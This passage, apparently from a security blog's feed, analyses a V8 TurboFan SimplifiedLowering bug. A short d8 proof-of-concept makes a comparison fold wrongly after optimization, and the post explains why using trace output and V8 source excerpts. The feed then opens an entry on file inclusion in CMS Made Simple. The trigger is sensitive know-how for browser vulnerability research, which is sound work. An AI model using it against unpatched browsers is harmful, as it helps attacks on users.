number of times a function is called exceeds the internal threshold, the monitor will mark the current function as a hot function and send the bytecode of the function and related information about the execution to TurboFan. TurboFan will make some assumptions to further optimize this code based on the execution information, and compile the bytecode into optimized machine code based on the assumptions. If the assumption is true, then the next time the function is called, the optimized compiled machine code will be executed to improve the execution performance of the code. When the information passed in during a call changes, it means that TurboFan’s assumption is wrong. At this time, the machine code generated by the optimized compilation can no longer be used, so the optimization is rolled back and the original complex function logic is re-run.</p><p><img src="/images/posts/v8-turbofan-optimization.png" alt="TurboFan Optimization Process"></p><p>The optimization logic process is as follows, considering the following code:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">let ziwu_add = (x,y) =&gt; &#123;</span><br><span class="line"> return x + y;</span><br><span class="line"> &#125;</span><br><span class="line"> ziwu_add(1,2);</span><br><span class="line"> ziwu_add(&#x27;hack&#x27;,&#x27;you&#x27;);</span><br><span class="line"> ziwu_add([],&#123;&#125;)</span><br></pre></td></tr></table></figure><p>V8 needs to determine the types of x and y before performing each calculation, and then perform the corresponding processing, but what if the function needs to be executed many times?</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">let ziwu_add = (x,y) =&gt; &#123;</span><br><span class="line"> return x + y;</span><br><span class="line"> &#125;</span><br><span class="line"> for (var i=0;i&lt;0x10000;i++)&#123;</span><br><span class="line"> ziwu_add(1+i,2)</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>The x parameter keeps changing. If we have to judge the type every time, it will be too cumbersome and inefficient. Turbofan found that after so many loop calculations, the x and y parameters are both int types. We have reason to believe that it will be the same next time. So we can assume that the types of the x and y parameters are int. Based on this assumption, we can optimize the ziwu_add function to simple addition:</p><p>add eax ebx;</p><h4 id="2-Vulnerability-Recurrence"><a href="#2-Vulnerability-Recurrence" class="headerlink" title="2) Vulnerability Recurrence"></a>2) Vulnerability Recurrence</h4><p>First look at the vulnerability patch: <a href="https://chromium.googlesource.com/v8/v8.git/+/ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92">https://chromium.googlesource.com/v8/v8.git/+/ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92</a>, the vulnerability file is located at<a href="https://chromium.googlesource.com/v8/v8.git/+/ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92/src/compiler/simplified-lowering.cc">src&#x2F;compiler&#x2F;simplified-lowering.cc</a>, that is, the vulnerability may occur in the SimplifiedLowering stage of the Turbofan optimization process;</p><p>We switch the V8 version to its parent commit, which is the most recent V8 code branch version where the vulnerability exists. The operation method is not described here:</p><p><img src="/images/posts/v8-patch-code.png" alt="Vulnerability Patch Code"></p><p>Execute the PoC code .&#x2F;d8 –allow-natives-syntax poc.js:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">function foo(a) &#123;</span><br><span class="line"> var y = 0x7fffffff; // 2^31 - 1</span><br><span class="line"> // Widen the static type of y (this condition never holds).</span><br><span class="line"> if (a == NaN) y = NaN;</span><br><span class="line"> // The next condition holds only in the warmup run. It leads to Smi</span><br><span class="line"> // (SignedSmall) feedback being collected for the addition below.</span><br><span class="line"> if (a) y = -1;</span><br><span class="line"> const z = (y + 1)|0;</span><br><span class="line"> return z&lt;0;</span><br><span class="line"> &#125;</span><br><span class="line"> console.log(foo(false));</span><br><span class="line"> for (i=0;i&lt;0x10000;i++)&#123;</span><br><span class="line"> foo(&#x27;test&#x27;)</span><br><span class="line"> &#125;</span><br><span class="line"> console.log(foo(false));</span><br></pre></td></tr></table></figure><p>The result we get is:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">True</span><br><span class="line">False</span><br></pre></td></tr></table></figure><p>The two execution results of the foo(false) function are different, indicating that there is a problem in the calculation of the value of z in the Turbofan optimization process.</p><h4 id="3-Principle-analysis"><a href="#3-Principle-analysis" class="headerlink" title="3) Principle analysis"></a>3) Principle analysis</h4><p>**Principle brief description:**This vulnerability is actually caused by the inconsistency between the maximum value range (restriction_type) calculated when optimizing the SpeculativeSafeIntegerAdd node in the VisitSpeculativeIntegerAdditiveOp function and its own Type, which results in an incorrect type transfer during the subsequent SpeculativeNumberLessThan node optimization process, causing SpeculativeNumberLessThan to be incorrectly optimized to Uint32LessThan. As a result, incorrect constant folding occurs in the EarlyOptimization phase, resulting in inconsistency with the calculation before optimization.</p><p><strong>Detailed analysis:</strong></p><h5 id="1-Analysis-of-the-reason-why-the-foo-false-function-is-executed-as-True-before-optimization"><a href="#1-Analysis-of-the-reason-why-the-foo-false-function-is-executed-as-True-before-optimization" class="headerlink" title="1.    Analysis of the reason why the foo(false) function is executed as True before optimization:"></a>1.    Analysis of the reason why the foo(false) function is executed as True before optimization:</h5><p>​         1) y &#x3D; 0x7fffffff, which is the maximum 32-bit integer, z &#x3D; (0x7fffffff +1) | 0</p><p>​         2) Since the bitwise AND operation treats its operands as 32-bit sequences (consisting of 0s and 1s), (0x7fffffff + 1) &#x3D; -2147483648</p><p>​         3) z &#x3D; -2147483648|0, z must be less than 0, and the result of executing the foo function is true</p><h5 id="2-Calculation-error-occurred-during-Turbofan-optimization"><a href="#2-Calculation-error-occurred-during-Turbofan-optimization" class="headerlink" title="2.    Calculation error occurred during Turbofan optimization:"></a>2.    Calculation error occurred during Turbofan optimization:</h5><p>​         We first use a for loop to force trigger Turbofan’s optimization:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">for (i=0;i&lt;0x10000;i++)&#123;</span><br><span class="line"> foo(&#x27;test&#x27;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The Turbofan optimization process will first enter the SimplifiedLowering stage, which determines the input type, output type, maximum value range, etc. of each node in the Bytecode Graph Tree through forward and reverse traversal. It is divided into three sub-stages: Propagate, Retype, and Lower[1].</p><p>​         Let’s first look at how SimplifiedLowering optimizes our foo function in this example:</p><p>​         **1)**Propagate stage: We can use <code>./d8 --allow-natives-syntax poc.js --trace-representation</code> to view the Propagate process of the entire PoC script:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">--&#123;Propagate phase&#125;--</span><br><span class="line"> visit #48: End (trunc: no-value-use)</span><br><span class="line"> initial #47: no-value-use</span><br><span class="line"> visit #47: Return (trunc: no-value-use)</span><br><span class="line"> initial #44: truncate-to-word32</span><br><span class="line"> initial #55: no-truncation (but distinguish zeros)</span><br><span class="line"> initial #45: no-value-use</span><br><span class="line"> initial #36: no-value-use</span><br><span class="line"> visit #55: NumberLessThan (trunc: no-truncation (but distinguish zeros))</span><br><span class="line"> initial #45: truncate-to-word32</span><br><span class="line"> initial #44: truncate-to-word32</span><br><span class="line"> visit #45: SpeculativeNumberBitwiseOr (trunc: truncate-to-word32)</span><br><span class="line"> initial #43: truncate-to-word32</span><br><span class="line"> initial #44: truncate-to-word32</span><br><span class="line"> initial #43: truncate-to-word32</span><br><span class="line"> initial #36: no-value-use</span><br><span class="line"> visit #43: SpeculativeSafeIntegerAdd (trunc: truncate-to-word32)</span><br><span class="line"> initial #39: no-truncation (but identify zeros)</span><br><span class="line"> initial #42: no-truncation (but identify zeros)</span><br><span class="line"> initial #22: no-value-use</span><br><span class="line"> initial #36: no-value-use</span><br><span class="line"> ...</span><br></pre></td></tr></table></figure><p>This stage is a reverse analysis, from the End node to the Start node, determining the required type based on the Type of the input node, and associating the use information (UseInfo) with the relevant node. And marking the output type of the node as the maximum range restriction_type of the output.</p><p>During the optimization of the foo function, the kSpeculativeNumberBitwiseOr#45 node is accessed first, as shown in the following figure:</p><p><img src="/images/posts/v8-propagate-phase.png" alt="Propagate Phase Analysis"></p><p>According to the code logic of <code>src/compiler/simplified-lowering.cc</code>, the <code>VisitSpeculativeInt32Binop</code> function is called. Since the two input nodes #43&#x2F;#44 of node #45 are both of Number type, the <code>BothInputsAre(node, Type::NumberOrOddball())</code> condition is met, and then turbofan marks #43&#x2F;#44 as <code>UseInfo::TruncatingWord32()</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">case IrOpcode::kSpeculativeNumberBitwiseOr:</span><br><span class="line"> case IrOpcode::kSpeculativeNumberBitwiseXor:</span><br><span class="line"> case IrOpcode::kSpeculativeNumberBitwiseAnd:</span><br><span class="line"> VisitSpeculativeInt32Binop&lt;T&gt;(node);</span><br><span class="line"></span><br><span class="line">void VisitSpeculativeInt32Binop(Node* node) &#123;</span><br><span class="line"> DCHECK_EQ(2, node-&gt;op()-&gt;ValueInputCount());</span><br><span class="line"> if (BothInputsAre(node, Type::NumberOrOddball())) &#123;</span><br><span class="line"> return VisitBinop&lt;T&gt;(node, UseInfo::TruncatingWord32(), &lt;===here</span><br><span class="line"> MachineRepresentation::kWord32);</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>Then continue to visit the <code>SpeculativeSafeIntegerAdd#43</code> node. Since we expanded the type of the input y of this node in the PoC <code>if (a == NaN) y = NaN; </code>that is, the #39 node has the NaN type, we can observe this phenomenon through the –trace-representation option:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">\#39:Phi[kRepTagged](#32:Phi, #38:NumberConstant, #36:Merge) [Static type: (NaN | Range(-1, 2147483647))]</span><br><span class="line"> visit #39: Phi</span><br><span class="line"> ==&gt; output kRepFloat64</span><br></pre></td></tr></table></figure><p>Therefore, the if condition in the src&#x2F;compiler&#x2F;simplified-lowering.cc::VisitSpeculativeIntegerAdditiveOp function is not met, and the maximum value range of restrict_type is set to <code>Signed32()</code>, that is, <code>-2147483648 ~2147483647</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,</span><br><span class="line"> SimplifiedLowering* lowering) &#123;</span><br><span class="line"> ...</span><br><span class="line"> if (left_upper.Is(left_constraint_type) &amp;&amp;</span><br><span class="line"> right_upper.Is(Type::Signed32OrMinusZero()) &amp;&amp;</span><br><span class="line"> (left_upper.Is(Type::Signed32()) || right_upper.Is(Type::Signed32()))) &#123;</span><br><span class="line"> VisitBinop&lt;T&gt;(node, UseInfo::TruncatingWord32(),</span><br><span class="line"> MachineRepresentation::kWord32, Type::Signed32());</span><br><span class="line"> &#125; else &#123;</span><br><span class="line"> ...</span><br><span class="line"> VisitBinop&lt;T&gt;(node, left_use, right_use, MachineRepresentation::kWord32, &lt;===here</span><br><span class="line"> Type::Signed32());</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>But we can observe that the Type of <code>SpeculativeSafeIntegerAdd#43</code> node is <code>0 ~ 2147483648</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">\#43:SpeculativeSafeIntegerAdd[SignedSmall](#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge) [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]</span><br><span class="line"> visit #43: SpeculativeSafeIntegerAdd</span><br><span class="line"> ==&gt; output kRepWord32</span><br></pre></td></tr></table></figure><p>**2)**Retype stage: Similarly, we can continue to use –trace-representation to view the Retype process:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">--&#123;Retype phase&#125;--</span><br><span class="line"> visit #5: HeapConstant</span><br><span class="line"> ==&gt; output kRepTaggedPointer</span><br><span class="line"> visit #0: Start</span><br><span class="line"> ==&gt; output kRepTagged</span><br><span class="line"> visit #7: OsrValue</span><br><span class="line"> ==&gt; output kRepTagged</span><br><span class="line"> visit #20: StateValues</span><br><span class="line"> ==&gt; output kRepTagged</span><br><span class="line"> visit #21: StateValues</span><br><span class="line"> ==&gt; output kRepTagged</span><br><span class="line"> visit #22: HeapConstant</span><br><span class="line"> ==&gt; output kRepTaggedPointer</span><br></pre></td></tr></table></figure><p>It can be seen that this stage is a forward analysis, from the End node to the Start node, it is sequentially put into the stack, and then starting from the top of the stack, it visits and determines the output type according to the Type and restriction_type of the input node, and uses UpdateFeedbackType to update the type of each node, and calculates the output representation of each node input.</p><p>Turbofan first visits the <code>SpeculativeSafeIntegerAdd#43</code> node and enters the <code>src/compiler/simplified-lowering.cc::UpdateFeedbackType</code> function logic. The opcode of this node is <code>IrOpcode::kSpeculativeSafeIntegerAdd</code>:</p><p>According to src&#x2F;compiler&#x2F;opcodes.h</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">\#define SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(V) \</span><br><span class="line"> V(SpeculativeNumberAdd) \</span><br><span class="line"> V(SpeculativeNumberSubtract) \</span><br><span class="line"> V(SpeculativeNumberMultiply) \</span><br><span class="line"> V(SpeculativeNumberDivide) \</span><br><span class="line"> V(SpeculativeNumberModulus) \</span><br><span class="line"> V(SpeculativeNumberBitwiseAnd) \</span><br><span class="line"> V(SpeculativeNumberBitwiseOr) \</span><br><span class="line"> V(SpeculativeNumberBitwiseXor) \</span><br><span class="line"> V(SpeculativeNumberShiftLeft) \</span><br><span class="line"> V(SpeculativeNumberShiftRight) \</span><br><span class="line"> V(SpeculativeNumberShiftRightLogical) \</span><br><span class="line"> V(SpeculativeSafeIntegerAdd) \</span><br><span class="line"> V(SpeculativeSafeIntegerSubtract)</span><br></pre></td></tr></table></figure><p>Then, the logic at the following mark is entered, and the types of the two input nodes #39 and #42 of the #43 node are calculated by SpeculativeSafeIntegerAdd, and then the intersection operation (Intersect) is performed with the restriction_type of the node itself.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">bool UpdateFeedbackType(Node* node) &#123;</span><br><span class="line"> ...</span><br><span class="line"> switch (node-&gt;opcode()) &#123;</span><br><span class="line"> \#define DECLARE_CASE(Name) \</span><br><span class="line"> case IrOpcode::k##Name: &#123; \</span><br><span class="line"> new_type = op_typer_.Name(input0_type, input1_type); \</span><br><span class="line"> break; \</span><br><span class="line"> &#125;</span><br><span class="line"> SIMPLIFIED_NUMBER_BINOP_LIST(DECLARE_CASE)</span><br><span class="line"> DECLARE_CASE(SameValue)</span><br><span class="line"> \#undef DECLARE_CASE</span><br><span class="line"></span><br><span class="line"> \#define DECLARE_CASE(Name) \</span><br><span class="line"> case IrOpcode::k##Name: &#123; \</span><br><span class="line"> new_type = Type::Intersect(op_typer_.Name(input0_type, input1_type), \ &lt;===here</span><br><span class="line"> info-&gt;restriction_type(), graph_zone()); \</span><br><span class="line"> break; \</span><br><span class="line"> &#125;</span><br><span class="line"> SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(DECLARE_CASE)</span><br><span class="line"> SIMPLIFIED_SPECULATIVE_BIGINT_BINOP_LIST(DECLARE_CASE)</span><br><span class="line"> \#undef DECLARE_CASE</span><br></pre></td></tr></table></figure><p>Enter src&#x2F;compiler&#x2F;operation-typer.cc::OperationTyper::SpeculativeSafeIntegerAdd function:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">Type OperationTyper::SpeculativeSafeIntegerAdd(Type lhs, Type rhs) &#123;</span><br><span class="line"> Type result = SpeculativeNumberAdd(lhs, rhs);</span><br><span class="line"> return Type::Intersect(result, cache_-&gt;kSafeIntegerOrMinusZero, zone());</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line">Enter src/compiler/operation-typer.cc::OperationTyper::Speculative##Name logic:</span><br><span class="line"></span><br><span class="line">\#define SPECULATIVE_NUMBER_BINOP(Name) \</span><br><span class="line"> Type OperationTyper::Speculative##Name(Type lhs, Type rhs) &#123; \</span><br><span class="line"> lhs = SpeculativeToNumber(lhs); \</span><br><span class="line"> rhs = SpeculativeToNumber(rhs); \</span><br><span class="line"> return Name(lhs, rhs); \</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line">lhs = SpeculativeToNumber(lhs); =&gt; y parameter -1 ~ 0x7fffffff</span><br><span class="line"></span><br><span class="line">rhs = SpeculativeToNumber(rhs); =&gt; i.e. 1</span><br><span class="line"></span><br><span class="line">NumberAdd(lhs,rhs); =&gt; 0 ~ 0x7fffffff+1</span><br><span class="line"></span><br><span class="line">Intersection operation: Intersect(0 ~ 0x7fffffff+1,restriction_type) =&gt;Intersect(0 ~ 0x7fffffff+1,Signed32) =&gt; 0 ~ 0x7fffffff</span><br></pre></td></tr></table></figure><p>That is, the value range of node #43 is 0 ~ 0x7fffffff, which is Unsigned32</p><p>Then visit the SpeculativeNumberBitwiseOr#45 node. According to the type of input nodes #43&#x2F;#44, the result is still 0 ~ 0x7fffffff, that is, the value range of z in PoC is considered to be 0 ~ 0x7fffffff</p><p>**3)**Lower stage: Similarly, we can continue to use –trace-representation to view the Lower process</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">--&#123;Lower phase&#125;--</span><br><span class="line"> visit #5: HeapConstant</span><br><span class="line"> visit #0: Start</span><br><span class="line"> visit #7: OsrValue</span><br><span class="line"> visit #20: StateValues</span><br><span class="line"> visit #21: StateValues</span><br><span class="line"> visit #22: HeapConstant</span><br><span class="line"> visit #6: OsrValue</span><br><span class="line"> visit #23: Parameter</span><br><span class="line"> visit #58: FrameState</span><br><span class="line"> visit #70: HeapConstant</span><br><span class="line"> visit #24: FrameState</span><br><span class="line"> visit #146: Checkpoint</span><br><span class="line"> visit #139: LoadField</span><br><span class="line"> change: #139:LoadField(@0 #70:HeapConstant) from kRepTaggedPointer to kRepTagged:no-truncation (but distinguish zeros)</span><br></pre></td></tr></table></figure><p>We can see that this stage mainly does two things:</p><ul><li>Optimize the node itself into a more specific     node through DeferReplacement</li><li>Use the ConvertInput conversion node when the     output representation (obtained by the Retype stage) of a node input does     not match the expected use information (UseInfo) of its input.</li></ul><p>Turbofan accesses the SpeculativeNumberLessThan#46 node and enters the following logic in src&#x2F;compiler&#x2F;simplified-lowering.cc:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">case IrOpcode::kNumberLessThan:</span><br><span class="line"> case IrOpcode::kNumberLessThanOrEqual: &#123;</span><br><span class="line"> Type const lhs_type = TypeOf(node-&gt;InputAt(0));</span><br><span class="line"> Type const rhs_type = TypeOf(node-&gt;InputAt(1));</span><br><span class="line"> // Regular number comparisons in JavaScript identify generally zeros,</span><br><span class="line"> // so we always pass kIdentifyZeros for the inputs, and in addition</span><br><span class="line"> // we can truncate -0 to 0 for otherwise Unsigned32 or Signed32 inputs.</span><br><span class="line"> if (lhs_type.Is(Type::Unsigned32OrMinusZero()) &amp;&amp;</span><br><span class="line"> rhs_type.Is(Type::Unsigned32OrMinusZero())) &#123;</span><br><span class="line"> // =&gt; unsigned Int32Cmp</span><br><span class="line"> VisitBinop&lt;T&gt;(node, UseInfo::TruncatingWord32(),</span><br><span class="line"> MachineRepresentation::kBit);</span><br><span class="line"> if (lower&lt;T&gt;()) NodeProperties::ChangeOp(node, Uint32Op(node));</span><br><span class="line"> &#125; else if (lhs_type.Is(Type::Signed32OrMinusZero()) &amp;&amp;</span><br><span class="line"> rhs_type.Is(Type::Signed32OrMinusZero())) &#123;</span><br><span class="line"> // =&gt; signed Int32Cmp</span><br><span class="line"> VisitBinop&lt;T&gt;(node, UseInfo::TruncatingWord32(),</span><br><span class="line"> MachineRepresentation::kBit);</span><br><span class="line"> ...</span><br></pre></td></tr></table></figure><p>Since the left input node #45 (z in the PoC code) and the right input node number 0 are both Unsigned32OrMinusZero, if the condition is met, Uint32Op(node) is called</p><p>Refer to src&#x2F;compiler&#x2F;simplified-lowering.cc::Uint32Op</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">const Operator* Uint32Op(Node* node) &#123;</span><br><span class="line"> return changer_-&gt;Uint32OperatorFor(node-&gt;opcode());</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>Enter the Uint32OperatorFor logic, the source code is located in src&#x2F;compiler&#x2F;representation-change.cc</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">const Operator* RepresentationChanger::Uint32OperatorFor(</span><br><span class="line"> IrOpcode::Value opcode) &#123;</span><br><span class="line"> switch (opcode) &#123;</span><br><span class="line"> case IrOpcode::kNumberAdd:</span><br><span class="line"> return machine()-&gt;Int32Add();</span><br><span class="line"> case IrOpcode::kNumberSubtract:</span><br><span class="line"> return machine()-&gt;Int32Sub();</span><br><span class="line"> case IrOpcode::kSpeculativeNumberMultiply:</span><br><span class="line"> case IrOpcode::kNumberMultiply:</span><br><span class="line"> return machine()-&gt;Int32Mul();</span><br><span class="line"> case IrOpcode::kSpeculativeNumberDivide:</span><br><span class="line"> case IrOpcode::kNumberDivide:</span><br><span class="line"> return machine()-&gt;Uint32Div();</span><br><span class="line"> case IrOpcode::kSpeculativeNumberModulus:</span><br><span class="line"> case IrOpcode::kNumberModulus:</span><br><span class="line"> return machine()-&gt;Uint32Mod();</span><br><span class="line"> case IrOpcode::kNumberEqual:</span><br><span class="line"> case IrOpcode::kSpeculativeNumberEqual:</span><br><span class="line"> return machine()-&gt;Word32Equal();</span><br><span class="line"> case IrOpcode::kNumberLessThan:</span><br><span class="line"> case IrOpcode::kSpeculativeNumberLessThan: &lt;===here</span><br><span class="line"> return machine()-&gt;Uint32LessThan();</span><br><span class="line"> case IrOpcode::kNumberLessThanOrEqual:</span><br><span class="line"> case IrOpcode::kSpeculativeNumberLessThanOrEqual:</span><br><span class="line"> return machine()-&gt;Uint32LessThanOrEqual();</span><br><span class="line"> case IrOpcode::kNumberClz32:</span><br><span class="line"> return machine()-&gt;Word32Clz();</span><br><span class="line"> case IrOpcode::kNumberImul:</span><br><span class="line"> return machine()-&gt;Int32Mul();</span><br><span class="line"> default:</span><br><span class="line"> UNREACHABLE();</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>Therefore node #46 is converted to Uint32LessThan</p><p>**4)**Vulnerability trigger: EarlyOptimization stage</p><p>Enter the code src&#x2F;compiler&#x2F;machine-operator-reducer.cc logic</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">case IrOpcode::kUint32LessThan: &#123;</span><br><span class="line"> Uint32BinopMatcher m(node);</span><br><span class="line"> if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M &lt; x =&gt; false</span><br><span class="line"> if (m.right().Is(0)) return ReplaceBool(false); // x &lt; 0 =&gt; false</span><br></pre></td></tr></table></figure><p>Since the right input node of node #46 (i.e. z&lt;0 in PoC) is 0, the m.right().Is(0) condition is satisfied, and the result of the expression is judged to be false.</p><h5 id="Analysis-of-the-reason-why-the-foo-false-function-is-executed-as-False-after-optimization"><a href="#Analysis-of-the-reason-why-the-foo-false-function-is-executed-as-False-after-optimization" class="headerlink" title="Analysis of the reason why the foo(false) function is executed as False after optimization:"></a>Analysis of the reason why the foo(false) function is executed as False after optimization:</h5><p>Combined with the analysis in the second step, after turbofan optimization, the expression z&lt;0 is incorrectly judged as false, so the foo(false) function returns false.</p><h3 id="Vulnerability-Summary"><a href="#Vulnerability-Summary" class="headerlink" title="Vulnerability Summary"></a>Vulnerability Summary</h3><p>This vulnerability is a typical logic vulnerability caused by the turbofan optimization process. It is relatively easy to debug and is suitable for V8 beginners. Understanding it through the source code will have a good effect. V8 has many similar vulnerabilities in recent years, such as crbug.com&#x2F;880207. If you are interested, you can go to debug and learn.</p><p>If there are any inappropriate parts in the text, please correct me. We welcome your comments.</p><h3 id="Reference-Links"><a href="#Reference-Links" class="headerlink" title="Reference Links"></a>Reference Links</h3><p>[1]Modern attacks on the Chrome browser: optimizations and deoptimizations: <a href="https://buaq.net/go-45470.html">https://buaq.net/go-45470.html</a></p><p>[2] Vulnerability fix code: <a href="https://chromium.googlesource.com/v8/v8.git/+/ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92">https://chromium.googlesource.com/v8/v8.git/+/ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92</a></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>
        <![CDATA[Local file inclusion in cmsmadesimple <=2.2.1]]>
      </title>
      <link>https://we5ter.github.io/blogs/local-file-inclusion-in-cmsmadesimple/</link>
      <description>
        <![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description:"></a>Description:</h2><p>The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs]]>
      </description>
      <author>Wester</author>
